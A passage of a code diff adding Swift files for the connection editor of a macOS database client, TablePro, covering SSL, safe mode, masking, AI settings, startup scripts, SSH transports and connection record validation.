.sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + if mode == .verifyCa || mode == .verifyIdentity { + let optional = !traits.ssl.requiresCACertificate(for: mode) + sections.append(SectionLayout( + id: "sslCA", + title: String(localized: "CA Certificate"), + footer: optional ? String(localized: "Leave empty to use the system trust store.") : nil, + rows: [.builtIn(.sslCACertificate)] + )) + } + var clientRows: [EditorRow] = [.builtIn(.sslClientCertificate), .builtIn(.sslClientKey)] + if traits.ssl.supportsClientKeyPassphrase, !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + clientRows.append(.builtIn(.sslClientKeyPassphrase)) + } + sections.append(SectionLayout( + id: "sslClient", + title: String(localized: "Client Certificates"), + footer: String(localized: "Required only when the server enforces mutual TLS authentication."), + rows: clientRows + )) + return FacetLayout(facet: .sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + + // MARK: - Appearance, Safe Mode, AI, Startup + + private static func appearanceFacet() -> FacetLayout { + FacetLayout(facet: .appearance, title: ConnectionFacet.appearance.title, sections: [ + SectionLayout( + id: "appearance", + title: nil, + footer: String(localized: "The icon and color mark this connection in the connection list and its window."), + rows: [.builtIn(.icon), .builtIn(.color), .builtIn(.tags), .builtIn(.group)] + ) + ]) + } + + private static func safeModeFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var footerLines: [String] = [] + if let floor = safeModeFloor(draft, traits, context) { + footerLines.append(floor.explanation) + } + if traits.manualCommitAvailable { + // swiftlint:disable:next line_length + footerLines.append(String(localized: "Your first change opens a transaction, and nothing is saved until you commit. Structure changes, Users & Roles, Copy To, Generate Rows and Shortcuts actions still save at once.")) + } else { + footerLines.append(ManualCommit.unavailableExplanation) + } + return FacetLayout(facet: .safeMode, title: ConnectionFacet.safeMode.title, sections: [ + SectionLayout( + id: "safeMode", + title: nil, + footer: footerLines.joined(separator: "\n"), + rows: [.builtIn(.safeModeLevel), .builtIn(.manualCommit)] + ), + SectionLayout( + id: "masking", + title: String(localized: "Masking"), + footer: String(localized: """ + Hides matching values in the grid, copies, exports, shared links, the AI assistant and MCP. \ + A pattern is table.column or column, with * as a wildcard, such as *.email. \ + Filters and sorts still run on the stored values, so masking does not replace database permissions. + """), + rows: [.builtIn(.maskingRules)] + ) + ]) + } + + private static func aiFacet(_ draft: ConnectionDraft, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout(id: "externalClients", title: String(localized: "External Clients"), footer: nil, rows: [.builtIn(.externalAccess)]) + ] + // AI Policy also governs MCP clients, so it stays reachable while AI features are off. + var aiRows: [EditorRow] = [.builtIn(.aiPolicy)] + if context.aiEnabled, !draft.ai.alwaysAllowedTools.isEmpty { + aiRows.append(.builtIn(.alwaysAllowedTools)) + } + sections.append(SectionLayout(id: "ai", title: String(localized: "AI"), footer: nil, rows: aiRows)) + if context.aiEnabled { + sections.append(SectionLayout( + id: "aiRules", + title: String(localized: "AI Rules"), + // swiftlint:disable:next line_length + footer: String(localized: "Guidance the AI sees on every chat turn for this connection: table conventions, columns to avoid, join hints, business rules the schema doesn't show."), + rows: [.builtIn(.aiRules)] + )) + } + return FacetLayout(facet: .aiAndMCP, title: ConnectionFacet.aiAndMCP.title, sections: sections) + } + + private static func startupFacet() -> FacetLayout { + FacetLayout(facet: .startup, title: ConnectionFacet.startup.title, sections: [ + SectionLayout( + id: "startupCommands", + title: String(localized: "Startup Commands"), + footer: String(localized: "SQL commands to run after connecting, e.g. SET time_zone = 'Asia/Ho_Chi_Minh'. One per line or separated by semicolons."), + rows: [.builtIn(.startupCommands)] + ), + SectionLayout( + id: "preConnect", + title: String(localized: "Pre-Connect Script"), + footer: String(localized: """ + Runs in bash before connecting. A non-zero exit aborts the connection. \ + TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and \ + TABLEPRO_DATABASE describe the connection. + """), + rows: [.builtIn(.preConnectScript), .builtIn(.scriptTimeout)] + ), + SectionLayout( + id: "postDisconnect", + title: String(localized: "Post-Disconnect Script"), + footer: String(localized: "Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown."), + rows: [.builtIn(.postDisconnectScript)] + ) + ]) + } + + // MARK: - Advanced + + private static func advancedFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + let advancedFields = traits.fields.filter { $0.section == .advanced } + var sections: [SectionLayout] = [] + let driverRows = pluginRows(advancedFields.filter { $0.content == .plain }, draft, traits) + if !driverRows.isEmpty { + sections.append(SectionLayout(id: "driver", title: traits.displayName, footer: nil, rows: driverRows)) + } + for field in advancedFields where field.content == .attachedDatabases && isVisible(field, draft, traits) { + sections.append(SectionLayout( + id: "attachedDatabases-\(field.id)", + title: field.label, + footer: String(localized: "Attached each time the connection opens. Reach a table as name.table, and browse each database in the sidebar."), + rows: [.plugin(fieldID: field.id)] + )) + } + for field in advancedFields where field.content == .loadableExtensions && isVisible(field, draft, traits) { + sections.append(SectionLayout( + id: "extensions-\(field.id)", + title: field.label, + // swiftlint:disable:next line_length + footer: String(localized: "Loaded in this order each time the database file opens on this Mac. An extension runs with full access to your Mac, so add only files you trust."), + rows: [.plugin(fieldID: field.id)] + )) + } + sections.append(SectionLayout( + id: "timeouts", + title: String(localized: "Timeouts"), + footer: String(localized: """ + Query timeout applies only to database drivers that support it. \ + Use 0 for no limit. Reconnect to apply changes. + """), + rows: [.builtIn(.connectTimeout), .builtIn(.queryTimeout)] + )) + if traits.supportsBinaryInlineLimit { + sections.append(SectionLayout( + id: "tableData", + title: String(localized: "Table Data"), + footer: String(localized: """ + A larger binary value stays on the server until you open, copy or export it. \ + Applies to tables with a primary key. + """), + rows: [.builtIn(.binaryInlineLimit)] + )) + } + if traits.supportsIdentifierCase { + sections.append(SectionLayout( + id: "autocomplete", + title: String(localized: "Autocomplete"), + footer: String(localized: """ + Table, column and schema names take this case in autocomplete and in Copy as INSERT \ + and UPDATE when the server reads the new spelling as the same name. Other names are \ + quoted as stored. + """), + rows: [.builtIn(.identifierCase)] + )) + } + if context.syncEnabled { + sections.append(SectionLayout( + id: "sync", + title: String(localized: "iCloud Sync"), + footer: String(localized: "This connection won't sync to other devices via iCloud."), + rows: [.builtIn(.localOnly)] + )) + } + return FacetLayout(facet: .advanced, title: ConnectionFacet.advanced.title, sections: sections) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift new file mode 100644 index 0000000000..054043ef71 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Name.swift @@ -0,0 +1,67 @@ +// +// ConnectionEditorEngine+Name.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit + +extension ConnectionEditorEngine { + // Name never blocks: an empty one saves as the saved name, or as what the form points at. + static func effectiveName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> String { + draft.name.trimmingCharacters(in: .whitespaces).isEmpty ? fallbackName(draft, traits, context) : draft.name + } + + static func fallbackName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> String { + context.savedName.trimmingCharacters(in: .whitespaces).isEmpty ? suggestedName(draft, traits) : context.savedName + } + + static func suggestedName(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if let path = databaseFilePath(draft, traits) { + let stem = ((path as NSString).lastPathComponent as NSString).deletingPathExtension + return stem.isEmpty ? traits.displayName : stem + } + let host = suggestedHost(draft, traits) + let database = traits.showsBuiltInDatabaseField ? draft.database.trimmingCharacters(in: .whitespaces) : "" + switch (host.isEmpty, database.isEmpty) { + case (false, false): return "\(host)/\(database)" + case (false, true): return host + case (true, false): return "\(traits.displayName) \(database)" + case (true, true): return traits.displayName + } + } + + // A file type names its file, a remote file too; nil for a server. + private static func databaseFilePath(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String? { + if draft.transport == .remoteFile { + return draft.ssh.remoteFilePath.trimmingCharacters(in: .whitespaces) + } + switch traits.localFilePathField { + case .additionalField(let fieldId): + return (draft.fieldValues[fieldId] ?? "").trimmingCharacters(in: .whitespaces) + case .database: + return draft.database.trimmingCharacters(in: .whitespaces) + case nil: + return traits.connectionMode == .fileBased ? draft.database.trimmingCharacters(in: .whitespaces) : nil + } + } + + private static func suggestedHost(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if usesLocalSocket(draft, traits) { + return "localhost" + } + if let hostList = visibleHostListFields(draft, traits).first { + let raw = draft.fieldValues[hostList.id] ?? hostList.defaultValue ?? "" + return HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort).first?.host ?? "" + } + if traits.connectionMode != .network { + guard let hostFieldId = traits.serverEndpointFields?.hostFieldId, + let field = traits.field(hostFieldId), + isVisible(field, draft, traits) + else { return "" } + return value(of: field, in: draft).trimmingCharacters(in: .whitespaces) + } + return draft.host.trimmingCharacters(in: .whitespaces) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift new file mode 100644 index 0000000000..039e05ec06 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift @@ -0,0 +1,284 @@ +// +// ConnectionEditorEngine.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +// Facts from outside the draft that change what the editor shows, passed in by the store. +struct EditorContext: Equatable, Sendable { + var isNew = true + var originalType: DatabaseType? + var savedName = "" + var aiEnabled = false + var syncEnabled = false + var participatesInSync = false + var managedSafeModeMinimum: SafeModeLevel? + var credentialProfiles: [CredentialProfile] = [] + var credentialProfilesLoadFailed = false + var sshProfiles: [SSHProfile] = [] + var sshProfilesLoadFailed = false + var sshConfigEntries: [SSHConfigEntry] = [] + + func credentialProfile(_ id: UUID?) -> CredentialProfile? { + guard let id else { return nil } + return credentialProfiles.first { $0.id == id } + } + + func sshProfile(_ id: UUID?) -> SSHProfile? { + guard let id else { return nil } + return sshProfiles.first { $0.id == id } + } +} + +enum ConnectionEditorEngine { + static let portRange = 1...65_535 + + // MARK: - Values + + // Trimmed whole number in range; empty means the type's default. + static func parsePort(_ text: String) -> Int? { + let trimmed = text.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty, trimmed.allSatisfy(\.isASCII), let value = Int(trimmed), portRange.contains(value) else { + return nil + } + return value + } + + static func portIssue(_ text: String) -> String? { + let trimmed = text.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty, parsePort(trimmed) == nil else { return nil } + return portRangeMessage + } + + // Fix-it wording short enough for the label column, so an issue stays on one line under its label. + static var portRangeMessage: String { + String(localized: "Enter a port from 1 to 65535.") + } + + static func resolvedPort(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Int { + parsePort(draft.portText) ?? traits.defaultPort + } + + static func resolvedHost(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + draft.host.trimmingCharacters(in: .whitespaces).isEmpty ? (traits.defaultHost ?? "localhost") : draft.host + } + + static func usesLocalSocket(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.supportsLocalSocket && draft.endpoint == .localSocket + } + + static func localSocketSkipsTLS(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + usesLocalSocket(draft, traits) && traits.localSocketIsDirectory + } + + // The driver hands the path to connect(2) unchanged, so `~` is expanded here. + static func resolvedLocalSocketPath(_ draft: ConnectionDraft) -> String? { + let trimmed = draft.localSocketPath.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty else { return nil } + return (trimmed as NSString).expandingTildeInPath + } + + struct SocketEndpoint: Equatable, Sendable { + let path: String + let port: Int + let socketFile: String + let issue: String? + } + + static func localSocketEndpoint(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SocketEndpoint? { + guard usesLocalSocket(draft, traits), let path = resolvedLocalSocketPath(draft) else { return nil } + let port = resolvedPort(draft, traits) + guard traits.localSocketIsDirectory else { + return SocketEndpoint(path: path, port: port, socketFile: path, issue: MySQLLocalSocket.issue(for: path)?.message) + } + let endpoint = PostgreSQLLocalSocket.endpoint(path: path, port: port) + return SocketEndpoint( + path: endpoint.directory, + port: endpoint.port, + socketFile: endpoint.socketFile, + issue: PostgreSQLLocalSocket.issue(for: endpoint)?.message + ) + } + + static func forwardsToUnixSocket(_ draft: ConnectionDraft) -> Bool { + draft.transport == .ssh && !draft.sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces).isEmpty + } + + // MARK: - Plugin fields + + static func value(of field: ConnectionField, in draft: ConnectionDraft) -> String { + draft.fieldValues[field.id] ?? field.defaultValue ?? "" + } + + static func isVisible(_ field: ConnectionField, _ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.fields.isVisible(field, forValues: draft.fieldValues) + } + + static func hidesPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.hidesBuiltInPassword || traits.fields.hidesPassword(forValues: draft.fieldValues) + } + + static func hidesUsername(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.fields.hidesUsername(forValues: draft.fieldValues) + } + + static func effectivePromptForPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + draft.credentials.promptsForPassword && !hidesPassword(draft, traits) && traits.connectionMode != .fileBased + } + + static func clearsStoredPassword(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + !draft.credentials.usesProfile + && !effectivePromptForPassword(draft, traits) + && draft.credentials.password.isEmpty + && draft.credentials.storedPasswordState == .stored + } + + static func passwordSourceInUse(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> PasswordSource? { + draft.credentials.usesProfile || effectivePromptForPassword(draft, traits) ? nil : draft.credentials.passwordSource + } + + static func visibleHostListFields(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionField] { + traits.fields.filter { field in + guard field.section == .connection, case .hostList = field.fieldType else { return false } + return isVisible(field, draft, traits) + } + } + + static func dialsForwardedEndpoint(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.connectionMode != .network else { return true } + guard let endpointFields = traits.serverEndpointFields, + let hostField = traits.field(endpointFields.hostFieldId) + else { return false } + return isVisible(hostField, draft, traits) + } + + // MARK: - Transports + + // `.ssh` and `.remoteFile` share one SSH server, so only one of them is ever offered. + static func availableTransports(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [ConnectionTunnelKind?] { + guard !usesLocalSocket(draft, traits) else { return [nil] } + var transports: [ConnectionTunnelKind?] = [nil] + let forwards = dialsForwardedEndpoint(draft, traits) + if traits.supportsRemoteDatabaseFile { + transports.append(.remoteFile) + } else if forwards, traits.supportsSSH { + transports.append(.ssh) + } + guard forwards else { return transports } + if traits.supportsCloudflareTunnel { transports.append(.cloudflare) } + if traits.supportsCloudSQLProxy { transports.append(.cloudSQLProxy) } + if traits.supportsSOCKSProxy { transports.append(.socksProxy) } + if traits.supportsTunnelCommand { transports.append(.tunnelCommand) } + return transports + } + + static func normalized(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> ConnectionDraft { + guard !availableTransports(draft, traits).contains(draft.transport) else { return draft } + var normalized = draft + normalized.selectTransport(nil) + return normalized + } + + // MARK: - SSL + + static func showsSSL(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.supportsSSL && !localSocketSkipsTLS(draft, traits) + } + + // Through a TCP forward the driver checks the certificate against the host behind it, which some drivers cannot do. + static func dialsTunnelTCPForward(_ draft: ConnectionDraft) -> Bool { + switch draft.transport { + case .ssh: return !forwardsToUnixSocket(draft) + case .cloudflare, .socksProxy, .tunnelCommand: return true + case .cloudSQLProxy, .remoteFile, .remoteDatabaseSession, nil: return false + } + } + + static func offeredSSLModes(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [SSLMode] { + let supported = traits.ssl.supportedModes + guard dialsTunnelTCPForward(draft) else { return supported } + return supported.filter { traits.ssl.modesThroughTunnel.contains($0) } + } + + // MARK: - Safe Mode + + static func safeModeFloor(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> SafeModeFloor? { + SafeModeFloor.resolve( + isEngineReadOnly: traits.isEngineReadOnly, + opensRemoteDatabaseFile: draft.transport == .remoteFile && draft.ssh.remoteFileAccess == .readOnlyCopy, + managedMinimum: context.managedSafeModeMinimum + ) + } + + static func effectiveSafeModeLevel( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext + ) -> SafeModeLevel { + safeModeFloor(draft, traits, context)?.raising(draft.safety.safeModeLevel) ?? draft.safety.safeModeLevel + } + + static func effectiveManualCommit(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.manualCommitAvailable && draft.safety.commitMode == .manual + } + + // MARK: - SSH resolution + + enum SSHResolution: Equatable { + case disabled + case inline(SSHConfiguration) + case profile(SSHProfile) + // The record names a profile this Mac does not have: it stays linked, with the stored snapshot. + case unresolvedProfile(id: UUID, snapshot: SSHConfiguration) + } + + static func sshResolution(_ draft: ConnectionDraft, _ context: EditorContext) -> SSHResolution { + guard draft.usesSSHServer else { return .disabled } + guard let profileId = draft.ssh.profileId else { + return .inline(draft.ssh.inlineConfiguration(enabled: true)) + } + if let profile = context.sshProfile(profileId) { + return .profile(profile) + } + var snapshot = draft.ssh.profileSnapshot ?? draft.ssh.inlineConfiguration(enabled: true) + snapshot.enabled = true + return .unresolvedProfile(id: profileId, snapshot: snapshot) + } + + static func sshProfileIsUnresolved(_ draft: ConnectionDraft, _ context: EditorContext) -> Bool { + if case .unresolvedProfile = sshResolution(draft, context) { return true } + return false + } + + static func credentialProfileIsMissing(_ draft: ConnectionDraft, _ context: EditorContext) -> Bool { + guard let id = draft.credentials.mode.profileId else { return false } + return context.credentialProfile(id) == nil + } + + // MARK: - Host list + + // Host and Port seed an empty list. A Host equal to the type's own default was filled in while hidden and stays out. + static func endpointList( + _ raw: String, + host: String, + port: Int, + traits: ConnectionTypeTraits + ) -> String? { + let effectivePort = port > 0 ? port : traits.defaultPort + let defaultHost = traits.defaultHost ?? "localhost" + let hasRows = raw.split(separator: ",").contains { !$0.trimmingCharacters(in: .whitespaces).isEmpty } + guard hasRows else { + return HostListEndpoint.parse(host.isEmpty ? defaultHost : host, defaultPort: effectivePort)?.entry + } + let listed = HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort) + guard host != defaultHost || effectivePort != traits.defaultPort, + let primary = HostListEndpoint.parse(host, defaultPort: effectivePort), + !listed.contains(primary) + else { return raw } + return raw + "," + primary.entry + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift new file mode 100644 index 0000000000..a597815989 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift @@ -0,0 +1,45 @@ +// +// ConnectionFacet.swift +// TablePro +// + +import Foundation + +enum ConnectionFacet: String, CaseIterable, Hashable, Identifiable, Sendable { + case general + case sshAndProxies + case sslTLS + case appearance + case safeMode + case aiAndMCP + case startup + case advanced + + var id: String { rawValue } + + var title: String { + switch self { + case .general: return String(localized: "General") + case .sshAndProxies: return String(localized: "SSH & Proxies") + case .sslTLS: return String(localized: "SSL/TLS") + case .appearance: return String(localized: "Appearance") + case .safeMode: return String(localized: "Safe Mode") + case .aiAndMCP: return String(localized: "AI & MCP") + case .startup: return String(localized: "Startup") + case .advanced: return String(localized: "Advanced") + } + } + + var symbolName: String { + switch self { + case .general: return "gearshape" + case .sshAndProxies: return "network" + case .sslTLS: return "lock.shield" + case .appearance: return "paintpalette" + case .safeMode: return "shield.lefthalf.filled" + case .aiAndMCP: return "sparkles" + case .startup: return "terminal" + case .advanced: return "slider.horizontal.3" + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift new file mode 100644 index 0000000000..b11a042f9a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift @@ -0,0 +1,179 @@ +// +// ConnectionRecordInvariants.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +// The rules the old save wrote by overwriting the whole record. The merge keeps another writer's value key by key, and a +// kept value can break a rule that spans keys, so Save, the reviewed definition and Test pass their record through here. +enum ConnectionRecordInvariants { + enum Use: Equatable { + case save + case test + } + + struct Outcome: Equatable { + var record: DatabaseConnection + // Plugin secure values the record held in plain text, by field id. Save moves them where the Keychain has none. + var plaintextSecrets: [String: String] = [:] + } + + // `traits` describe the record's own type, `originalTraits` the type the editor loaded. + static func enforce( + _ record: DatabaseConnection, + traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + context: EditorContext, + use: Use = .save + ) -> Outcome { + var record = record + let plaintext = removeSecureValues(from: &record, traits, originalTraits) + removeFieldsOfTypeLeft(from: &record, traits, originalTraits) + keepOneOfferedTransport(&record, traits) + alignSSHLink(&record) + removeTransportLeftovers(from: &record, traits) + alignHostAndPortWithHostList(&record, traits) + alignSignIn(&record, traits, context, use: use) + return Outcome(record: record, plaintextSecrets: plaintext) + } + + private static func removeSecureValues( + from record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ originalTraits: ConnectionTypeTraits? + ) -> [String: String] { + var plaintext: [String: String] = [:] + for fieldId in ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) { + guard let value = record.additionalFields.removeValue(forKey: fieldId), !value.isEmpty else { continue } + plaintext[fieldId] = value + } + return plaintext + } + + private static func removeFieldsOfTypeLeft( + from record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ originalTraits: ConnectionTypeTraits? + ) { + guard let originalTraits, originalTraits.type != record.type else { return } + for field in originalTraits.fields where traits.field(field.id) == nil { + record.additionalFields[field.id] = nil + } + } + + // The first switched-on transport is the one the editor loads, and it stays only where this type can dial it. + private static func keepOneOfferedTransport(_ record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + record.keepOnlyFirstTransport() + guard let kind = record.switchedOnTransports.first, !offers(kind, record, traits) else { return } + switch kind { + case .ssh, .remoteFile, .remoteDatabaseSession: + record.sshTunnelMode = .disabled + case .cloudflare: + record.cloudflareTunnelMode = .disabled + case .cloudSQLProxy: + record.cloudSQLProxyMode = .disabled + case .socksProxy: + record.socksProxyMode = .disabled + case .tunnelCommand: + record.tunnelCommandMode = .disabled + } + } + + private static func offers(_ kind: ConnectionTunnelKind, _ record: DatabaseConnection, _ traits: ConnectionTypeTraits) -> Bool { + let forwards = dialsForwardedEndpoint(record, traits) + switch kind { + case .ssh, .remoteFile, .remoteDatabaseSession: + return traits.supportsRemoteDatabaseFile || (forwards && traits.supportsSSH) + case .cloudflare: return forwards && traits.supportsCloudflareTunnel + case .cloudSQLProxy: return forwards && traits.supportsCloudSQLProxy + case .socksProxy: return forwards && traits.supportsSOCKSProxy + case .tunnelCommand: return forwards && traits.supportsTunnelCommand + } + } + + private static func dialsForwardedEndpoint(_ record: DatabaseConnection, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.connectionMode != .network else { return true } + guard let endpointFields = traits.serverEndpointFields, + let hostField = traits.field(endpointFields.hostFieldId) + else { return false } + return traits.fields.isVisible(hostField, forValues: record.additionalFields) + } + + // The tunnel mode is what a connect reads; the legacy profile id and configuration follow it. + private static func alignSSHLink(_ record: inout DatabaseConnection) { + switch record.sshTunnelMode { + case .disabled: + record.sshProfileId = nil + record.sshConfig.enabled = false + case .inline(let config): + record.sshProfileId = nil + record.sshConfig = config + case .profile(let id, let snapshot): + record.sshProfileId = id + record.sshConfig = snapshot + } + } + + private static func removeTransportLeftovers(from record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + let forwardsPort = record.sshTunnelMode != .disabled && !traits.supportsRemoteDatabaseFile && traits.socketForwardApplies + if !forwardsPort { + record.additionalFields[DatabaseConnection.sshForwardUnixSocketPathKey] = nil + } + // A connect through a transport drops the socket, and the editor loads such a record as the transport. + if !traits.supportsLocalSocket || !record.switchedOnTransports.isEmpty { + record.additionalFields[MySQLLocalSocket.fieldKey] = nil + } + if !traits.supportsRemoteDatabaseFile { + record.clearRemoteFilePath() + } + } + + private static func alignHostAndPortWithHostList(_ record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + guard let hostList = traits.fields.endpointHostList, let raw = record.additionalFields[hostList.id] else { return } + let primary = HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort).first + ?? HostListEndpoint(host: traits.defaultHost ?? "localhost", port: traits.defaultPort) + record.host = primary.host + record.port = primary.port + } + + private static func alignSignIn( + _ record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + use: Use + ) { + if let profile = context.credentialProfile(record.credentialMode.profileId) { + record.username = profile.username + } + let showsPassword = !traits.hidesBuiltInPassword + && !traits.fields.hidesPassword(forValues: record.additionalFields) + && traits.connectionMode != .fileBased + if !showsPassword { + record.additionalFields["promptForPassword"] = nil + } + // A prompt arrives as an override and a linked profile resolves first, so the source would never run. + if use == .test, record.credentialMode.profileId != nil || record.promptForPassword { + record.passwordSource = nil + } + } +} + +private extension DatabaseConnection { + mutating func clearRemoteFilePath() { + sshConfig.remoteFilePath = "" + switch sshTunnelMode { + case .disabled: + break + case .inline(var config): + config.remoteFilePath = "" + sshTunnelMode = .inline(config) + case .profile(let id, var snapshot): + snapshot.remoteFilePath = "" + sshTunnelMode = .profile(id: id, snapshot: snapshot) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift new file mode 100644 index 0000000000..cab561586c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift @@ -0,0 +1,172 @@ +// +// ConnectionTypeTraits.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +// The only reader of plugin metadata for the editor: everything else in the engine takes this value. +struct ConnectionTypeTraits: Sendable { + struct SSLTraits: Sendable, Equatable { + var defaultMode: SSLMode = .disabled + var supportsOpportunisticTLS = true + var tlsImpliedPorts: [Int] = [] + var modeWhenTLSEnabled: SSLMode = .required + var supportsPerConnectionCertificatePaths = true + var verifiesServerWithSystemTrust = false + var supportsClientKeyPassphrase = false + var note = "" + var supportedModes: [SSLMode] = SSLMode.allCases + var modesThroughTunnel: [SSLMode] = SSLMode.allCases + + func impliedMode(forPort port: Int) -> SSLMode? { + tlsImpliedPorts.contains(port) ? modeWhenTLSEnabled : nil + } + + func resolution(forPort port: Int) -> SSLModeResolution { + guard let implied = impliedMode(forPort: port) else { + return SSLModeResolution(mode: defaultMode, origin: .typeDefault) + } + return SSLModeResolution(mode: implied, origin: .impliedByPort) + } + + func requiresCACertificate(for mode: SSLMode) -> Bool { + guard mode == .verifyCa || mode == .verifyIdentity, supportsPerConnectionCertificatePaths else { return false } + return mode == .verifyCa || !verifiesServerWithSystemTrust + } + } + + var type: DatabaseType + var pluginTypeId: String + var displayName: String + var connectionMode: ConnectionMode = .network + var fields: [ConnectionField] = [] + var defaultPort: Int = 0 + var defaultHost: String? + var hidesBuiltInPassword = false + var showsBuiltInDatabaseField = true + var containerEntityName = String(localized: "Database") + var fileExtensions: [String] = [] + var newDatabaseFileExtensions: [String] = [] + var localFilePathField: LocalFilePathField? + var defaultLocalSocketPath: String? + var defaultUnixSocketPath: String? + var localSocketIsDirectory = false + var socketForwardApplies = true + var supportsSSH = true + var supportsSSL = true + var supportsCloudflareTunnel = true + var supportsSOCKSProxy = true + var supportsTunnelCommand = true + var supportsCloudSQLProxy = false + var supportsRemoteDatabaseFile = false + var supportsRemoteDatabaseSession = false + var serverEndpointFields: ServerEndpointFields? + var ssl = SSLTraits() + var isEngineReadOnly = false + var manualCommitAvailable = true + var supportsBinaryInlineLimit = false + var supportsIdentifierCase = false + var storedSecureFieldIds: [String] = [] + + init(type: DatabaseType) { + self.type = type + self.pluginTypeId = type.rawValue + self.displayName = type.rawValue + } + + var supportsLocalSocket: Bool { defaultLocalSocketPath != nil } + + var declaredSecureFieldIds: [String] { + fields.filter(\.isSecure).map(\.id) + } + + func field(_ id: String) -> ConnectionField? { + fields.first { $0.id == id } + } + + func defaultValues() -> [String: String] { + var values: [String: String] = [:] + for field in fields { + if let value = field.defaultValue { + values[field.id] = value + } + } + return values + } + + var defaultPortText: String { + defaultPort == 0 ? "" : String(defaultPort) + } + + @MainActor + static func live(for type: DatabaseType, pluginManager: PluginManager) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: type) + let snapshot = PluginMetadataRegistry.shared.snapshot(for: type) + traits.pluginTypeId = type.pluginTypeId + traits.displayName = type.displayName + traits.connectionMode = pluginManager.connectionMode(for: type) + traits.fields = pluginManager.additionalConnectionFields(for: type) + traits.defaultPort = type.defaultPort + traits.defaultHost = type.defaultHost + traits.hidesBuiltInPassword = snapshot?.connection.hidesBuiltInPassword ?? false + traits.showsBuiltInDatabaseField = showsBuiltInDatabaseField( + mode: traits.connectionMode, + hidden: snapshot?.connection.hidesBuiltInDatabase ?? false, + switchesDatabases: pluginManager.supportsDatabaseSwitching(for: 